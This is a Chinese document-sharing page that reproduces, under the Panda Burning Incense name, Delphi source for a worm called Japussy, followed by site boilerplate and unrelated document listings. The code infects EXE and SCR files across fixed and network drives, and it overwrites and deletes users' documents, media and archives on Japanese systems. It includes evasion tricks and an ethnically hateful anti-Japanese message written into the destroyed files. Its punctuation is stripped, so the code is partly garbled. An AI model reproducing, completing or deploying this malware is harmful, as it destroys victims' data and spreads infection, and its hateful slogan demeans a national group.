熊猫烧香病毒核心代码


    熊猫烧香病毒核心代码
     
    program Japussy
    uses
      Windows SysUtils Classes Graphics ShellAPI{ Registry}
    const
      HeaderSize 82432                  病毒体
      IconOffset 12EB8                 PE文件图标偏移量
      
      Delphi5 SP1面编译版Delphi
      查找2800000020十六进制字符串找图标偏移量
       
    {
      HeaderSize 38912                  Upx压缩病毒体
      IconOffset 92BC                  Upx压缩PE文件图标偏移量
      
      Upx 124W 法 upx 9 8086 Japussyexe
    }
      IconSize   2E8                   PE文件图标744字节
      IconTail   IconOffset + IconSize  PE文件图标尾部
      ID         44444444              感染标记
      
      垃圾码备写入
      Catchword 'If a race need to be killed out it must be Yamato ' +
                  'If a country need to be destroyed it must be Japan ' +
                  '*** W32JapussyWormA ***'
    {R *RES}
    function RegisterServiceProcess(dwProcessID dwType Integer) Integer 
      stdcall external 'Kernel32dll' 函数声明
    var
      TmpFile string
      Si      STARTUPINFO
      Pi      PROCESS_INFORMATION
      IsJap   Boolean False 日文操作系统标记
    { 判断否Win9x }
    function IsWin9x Boolean
    var
      Ver TOSVersionInfo
    begin
      Result False
      VerdwOSVersionInfoSize SizeOf(TOSVersionInfo)
      if not GetVersionEx(Ver) then
        Exit
      if (VerdwPlatformID VER_PLATFORM_WIN32_WINDOWS) then Win9x
        Result True
    end
    { 流间复制 }
    procedure CopyStream(Src TStream sStartPos Integer Dst TStream

      dStartPos Integer Count Integer)
    var
      sCurPos dCurPos Integer
    begin
      sCurPos SrcPosition
      dCurPos DstPosition
      SrcSeek(sStartPos 0)
      DstSeek(dStartPos 0)
      DstCopyFrom(Src Count)
      SrcSeek(sCurPos 0)
      DstSeek(dCurPos 0)
    end
    { 宿文件已感染PE文件中分离出备 }
    procedure ExtractFile(FileName string)
    var
      sStream dStream TFileStream
    begin
      try
        sStream TFileStreamCreate(ParamStr(0) fmOpenRead or fmShareDenyNone)
        try
          dStream TFileStreamCreate(FileName fmCreate)
          try
            sStreamSeek(HeaderSize 0) 跳头部病毒部分
            dStreamCopyFrom(sStream sStreamSize HeaderSize)
          finally
            dStreamFree
          end
        finally
          sStreamFree
        end
      except
      end
    end
    { 填充STARTUPINFO结构 }
    procedure FillStartupInfo(var Si STARTUPINFO State Word)
    begin
      Sicb SizeOf(Si)
      SilpReserved nil
      SilpDesktop nil
      SilpTitle nil
      SidwFlags STARTF_USESHOWWINDOW
      SiwShowWindow State
      SicbReserved2 0
      SilpReserved2 nil
    end
    { 发带毒邮件 }
    procedure SendMail
    begin
      位仁兄愿意完成?

    end
    { 感染PE文件 }
    procedure InfectOneFile(FileName string)
    var
      HdrStream SrcStream TFileStream
      IcoStream DstStream TMemoryStream
      iID LongInt
      aIcon TIcon
      Infected IsPE Boolean
      i Integer
      Buf array[01] of Char
    begin
      try 出错文件正退出
        if CompareText(FileName 'JAPUSSYEXE') 0 then 感染
          Exit
        Infected False
        IsPE     False
        SrcStream TFileStreamCreate(FileName fmOpenRead)
        try
          for i 0 to 108 do 检查PE文件头
          begin
            SrcStreamSeek(i soFromBeginning)
            SrcStreamRead(Buf 2)
            if (Buf[0] #80) and (Buf[1] #69) then PE标记
            begin
              IsPE True PE文件
              Break
            end
          end
          SrcStreamSeek(4 soFromEnd) 检查感染标记
          SrcStreamRead(iID 4)
          if (iID ID) or (SrcStreamSize < 10240) then 太文件感染
            Infected True
        finally
          SrcStreamFree
        end
        if Infected or (not IsPE) then 果感染PE文件退出
          Exit
        IcoStream TMemoryStreamCreate
        DstStream TMemoryStreamCreate
        try
          aIcon TIconCreate
          try
            感染文件图标(744字节)存入流
            aIconReleaseHandle
            aIconHandle ExtractIcon(HInstance PChar(FileName) 0)
            aIconSaveToStream(IcoStream)
          finally
            aIconFree

          end
          SrcStream TFileStreamCreate(FileName fmOpenRead)
          头文件
          HdrStream TFileStreamCreate(ParamStr(0) fmOpenRead or fmShareDenyNone)
          try
            写入病毒体图标前数
            CopyStream(HdrStream 0 DstStream 0 IconOffset)
            写入目前程序图标
            CopyStream(IcoStream 22 DstStream IconOffset IconSize)
            写入病毒体图标病毒体尾部间数
            CopyStream(HdrStream IconTail DstStream IconTail HeaderSize IconTail)
            写入宿程序
            CopyStream(SrcStream 0 DstStream HeaderSize SrcStreamSize)
            写入已感染标记
            DstStreamSeek(0 2)
            iID 44444444
            DstStreamWrite(iID 4)
          finally
            HdrStreamFree
          end
        finally
          SrcStreamFree
          IcoStreamFree
          DstStreamSaveToFile(FileName) 换宿文件
          DstStreamFree
    end
      except
      end
    end
    { 目标文件写入垃圾码删 }
    procedure SmashFile(FileName string)
    var
      FileHandle Integer
      i Size Mass Max Len Integer
    begin
      try
        SetFileAttributes(PChar(FileName) 0) 掉读属性
        FileHandle FileOpen(FileName fmOpenWrite) 开文件
        try
          Size GetFileSize(FileHandle nil) 文件
          i 0
          Randomize
          Max Random(15) 写入垃圾码机次数
          if Max < 5 then
            Max 5
          Mass Size div Max 间隔块
          Len Length(Catchword)

          while i < Max do
          begin
            FileSeek(FileHandle i * Mass 0) 定位
            写入垃圾码文件彻底破坏掉
            FileWrite(FileHandle Catchword Len)
            Inc(i)
          end
        finally
          FileClose(FileHandle) 关闭文件
        end
        DeleteFile(PChar(FileName)) 删
      except
      end
    end
    { 获写驱动器列表 }
    function GetDrives string
    var
      DiskType Word
      D Char
      Str string
      i Integer
    begin
      for i 0 to 25 do 遍历26字母
      begin
        D Chr(i + 65)
        Str D + ''
        DiskType GetDriveType(PChar(Str))
        磁盘网络盘
        if (DiskType DRIVE_FIXED) or (DiskType DRIVE_REMOTE) then
          Result Result + D
      end
    end
    { 遍历目录感染摧毁文件 }
    procedure LoopFiles(Path Mask string)
    var
      i Count Integer
      Fn Ext string
      SubDir TStrings
      SearchRec TSearchRec
      Msg TMsg
      function IsValidDir(SearchRec TSearchRec) Integer
      begin
        if (SearchRecAttr  '') and
          (SearchRecName <> '') then
          Result 0 目录
        else if (SearchRecAttr 16) and  (SearchRecName <> '') and
          (SearchRecName <> '') then
            Result 1 根目录
        else Result 2 根目录

      end
    begin
      if (FindFirst(Path + Mask faAnyFile SearchRec) 0) then
      begin
        repeat
          PeekMessage(Msg 0 0 0 PM_REMOVE) 调整消息队列避免引起怀疑
          if IsValidDir(SearchRec) 0 then
          begin
            Fn Path + SearchRecName
            Ext UpperCase(ExtractFileExt(Fn))
            if (Ext 'EXE') or (Ext 'SCR') then
            begin
              InfectOneFile(Fn) 感染执行文件        
            end
            else if (Ext 'HTM') or (Ext 'HTML') or (Ext 'ASP') then
            begin
              感染HTMLASP文件Base64编码病毒写入
              感染浏览网页户
              位兄弟愿意完成?
            end
            else if Ext 'WAB' then Outlook址簿文件
            begin
              获取Outlook邮件址
            end
            else if Ext 'ADC' then Foxmail址动完成文件
            begin
              获取Foxmail邮件址
            end
            else if Ext 'IND' then Foxmail址簿文件
            begin
              获取Foxmail邮件址
            end
            else 
            begin
              if IsJap then 倭文操作系统
              begin
                if (Ext 'DOC') or (Ext 'XLS') or (Ext 'MDB') or
                  (Ext 'MP3') or (Ext 'RM') or (Ext 'RA') or
                  (Ext 'WMA') or (Ext 'ZIP') or (Ext 'RAR') or
                  (Ext 'MPEG') or (Ext 'ASF') or (Ext 'JPG') or
                  (Ext 'JPEG') or (Ext 'GIF') or (Ext 'SWF') or
                  (Ext 'PDF') or (Ext 'CHM') or (Ext 'AVI') then
                    SmashFile(Fn) 摧毁文件
              end
            end
          end
          感染删文件睡眠200毫秒避免CPU占率高引起怀疑
          Sleep(200)
        until (FindNext(SearchRec) <> 0)

      end
      FindClose(SearchRec)
      SubDir TStringListCreate
      if (FindFirst(Path + '**' faDirectory SearchRec) 0) then
      begin
        repeat
          if IsValidDir(SearchRec) 1 then
            SubDirAdd(SearchRecName)
        until (FindNext(SearchRec) <> 0)
        end
      FindClose(SearchRec)
      Count SubDirCount 1
      for i 0 to Count do
        LoopFiles(Path + SubDirStrings + '' Mask)
      FreeAndNil(SubDir)
    end
    { 遍历磁盘文件 }
    procedure InfectFiles
    var
      DriverList string
      i Len Integer
    begin
      if GetACP 932 then 日文操作系统
        IsJap True 死吧
      DriverList GetDrives 写磁盘列表
      Len Length(DriverList)
      while True do 死循环
      begin
        for i Len downto 1 do 遍历磁盘驱动器
          LoopFiles(DriverList + '' '**') 感染
        SendMail 发带毒邮件
        Sleep(1000 * 60 * 5) 睡眠5分钟
      end
    end
    { 程序开始 }
    begin
      if IsWin9x then Win9x
        RegisterServiceProcess(GetCurrentProcessID 1) 注册服务进程
      else WinNT
      begin
        远程线程映射Explorer进程
        位兄台愿意完成?
      end
      果原始病毒体
      if CompareText(ExtractFileName(ParamStr(0)) 'Japussyexe') 0 then
        InfectFiles 感染发邮件
      else 已寄生宿程序开始工作
      begin

        TmpFile ParamStr(0) 创建时文件
        Delete(TmpFile Length(TmpFile) 4 4)
        TmpFile TmpFile + #32 + 'exe' 真正宿文件空格
        ExtractFile(TmpFile) 分离
        FillStartupInfo(Si SW_SHOWDEFAULT)
        CreateProcess(PChar(TmpFile) PChar(TmpFile) nil nil True
          0 nil '' Si Pi) 创建新进程运行
        InfectFiles 感染发邮件
      end
    end 


    文香网httpwwwxiangdangnet

    《香当网》用户分享的内容,不代表《香当网》观点或立场,请自行判断内容的真实性和可靠性!
    该内容是文档的文本内容,更好的格式请下载文档

    下载文档到电脑,查找使用更方便

    文档的实际排版效果,会与网站的显示效果略有不同!!

    需要 1 香币 [ 分享文档获得香币 ]

    下载文档

    相关文档

    《大熊猫.》教学

    《大熊猫.》教学  教学目标:学习写字。  教具准备:课件、小黑板。  教学过程:  一.复习:1。请学生说一说大熊猫的样子。生活习性。  2.指名读词语。熊猫许多动物最胖胖乎乎很短黑眼圈时候...

    8个月前   
    150    0

    大熊猫作文

    黑白相间,呆萌可爱,大家知道这是什么动物吗?真聪明!就是中国的“活化石”——国宝大熊猫。 熊猫的脾气实在有些古怪。说它老实吧,它确实有时候很乖。不是在草坪上自娱自乐,就是和别的大熊猫一起...

    2年前   
    553    0

    习作:国宝大熊猫

    习作:国宝大熊猫一、习作要求1.围绕大熊猫,走近它,了解它,和它交朋友,向别人介绍它。2.搜集资料,了解大熊猫。判断下列说法是否正确,对的打“√”,错的打“×”。(1)大熊猫不是猫,但它和猫一...

    5年前   
    976    0

    C语言代码大全

     乘法口诀表 #include <stdio.h> #include <conio.h> void main(void) { int i,j,x,y; clrscr(); pr...

    5年前   
    1760    0

    如何写代码

    如何写代码现在空间的代码其实都是JS...什么是JS??就是 JAVA SCRIPT 一种JAVA脚本..下面是关于QQ空间JS代码的总结...大家认真看完,差不多你也可以是代码高手..你也可...

    12年前   
    535    0

    《大熊猫》教学设计资料

    《大熊猫》教学设计资料  教学目标:  知识目标:  使学生能认识14个生字,能用生字组词、扩词,并会用部分词语造句。  能力目标:  正确流利的朗读课文,了解课文内容能回答课后问题。  情感...

    8个月前   
    201    0

    功夫熊猫动画策划完整

    ?功夫熊猫?策划方案方案概述:1. 市场调查2. 创意和市场定位〔消费者分析〕3. 产品制作:故事概要、角色设计、场景道具设计、配音工作、合成编辑;4. 规格、本钱、进度安排、周期、考前须知。...

    2年前   
    451    0

    习作:国宝大熊猫教案

                      课题国宝大熊猫 课型习作 授课时间1课时 教学目标 1.根据资料和问题提示,能抓住特点,介绍大熊猫,并能有顺序地写下来。2.养成良好的说写习惯。继续培...

    4年前   
    1016    0

    《可爱的大熊猫》说课稿

    今天我说课的题目是《可爱的大熊猫》,我将从以下七个方面来进行说课:一、说教材 二、说学生 三、说教学目标 四、说教学重难点 五、说教法与学法 六、说教学过程 七、说板书设计

    5年前   
    1064    0

    习作:国宝大熊猫(优质教案)

    习作《国宝大熊猫》教学目标:1.根据资料和问题提示,能抓住特点,介绍大熊猫,并能有顺序地写下来。2.养成良好的说写习惯。继续培养他们的写话兴趣。 教学重点:抓住特点有顺序地介绍大熊猫。教学难点...

    4年前   
    855    0

    《功夫熊猫》观后感

    《功夫熊猫》观后感第一篇:《功夫熊猫》观后感500字《功夫熊猫》观后感暑假时,大家都说《功夫熊猫》很好看,于是爸爸便带我去电影院看了《功夫熊猫》。这部电影的大意是:有一家面店老板的儿子是功夫传...

    10年前   
    300    0

    均衡化代码

    #include <iostream>#include <vector>#include <opencv2/core.hpp>#include <opencv2/imgproc.hpp>#in...

    4年前   
    649    0

    高效整洁css代码原则

    CSS学起来并不难,但在大型项目中,就变得难以管理,特别是不同的人在CSS书写风格上稍有不同,团队上就更加难以沟通,为此总结了一些如何实现高效整洁的CSS代码原则:1. 使用Reset但并非全...

    9年前   
    512    0

    新疆行政区代码

      **维吾尔自治区行政区划代码   名   称 数字代码 名   称 数字代码 **市 650100 **县 652325   市辖区 650101   **市 ...

    5年前   
    2525    0

    单位类型代码表

    17 全额拨款全民事业单位 18 差额拨款全民事业单位 19 自收自支全民事业单位 ...

    12年前   
    5835    0

    代码和界面设计

    摘   要 随着现代计算机科学的发展,网络已经越来越普及,如今网络已经成为每个人生活的一部分,同时网络也提供了一种很好的信息交换平台,而个人主页是一个可以在网络上展示个人信息的方便手...

    2年前   
    497    0

    AE开发实例代码总结

    1、AE开发技术文档一、数据加载问题1、加载个人数据库个人数据库是保存在Access中的数据库。加载方式有两种:通过名字和通过属性加载(也许不只是这两种,AE中实现同一功能可以有多种方式)A、...

    3年前   
    622    0

    源代码使用许可协议

    ________源代码使用许可合同甲方:XX软件有限公司 乙方:法定地址: 法定地址:法定代表人: 法定代表人:联系电话: ...

    4年前   
    1733    0

    HTML代码写法规范

    HTML代码写法规范HTML代码写法规范1.页面内码标识顺序l<html>l<head>l<meta http-equiv=“Content-Type“ content=“text/html;...

    12年前   
    597    0

    物料代码输入ERP系统流程6

    1. 目的 使MRPⅡ系统的供应商规格范围吻合合格供应商的限定。 2. 适用范围 本公司所有合格供应商的物料代码。 3. 流程/职责和工作要求 流 程 职 责 工作要求 ...

    8年前   
    12880    0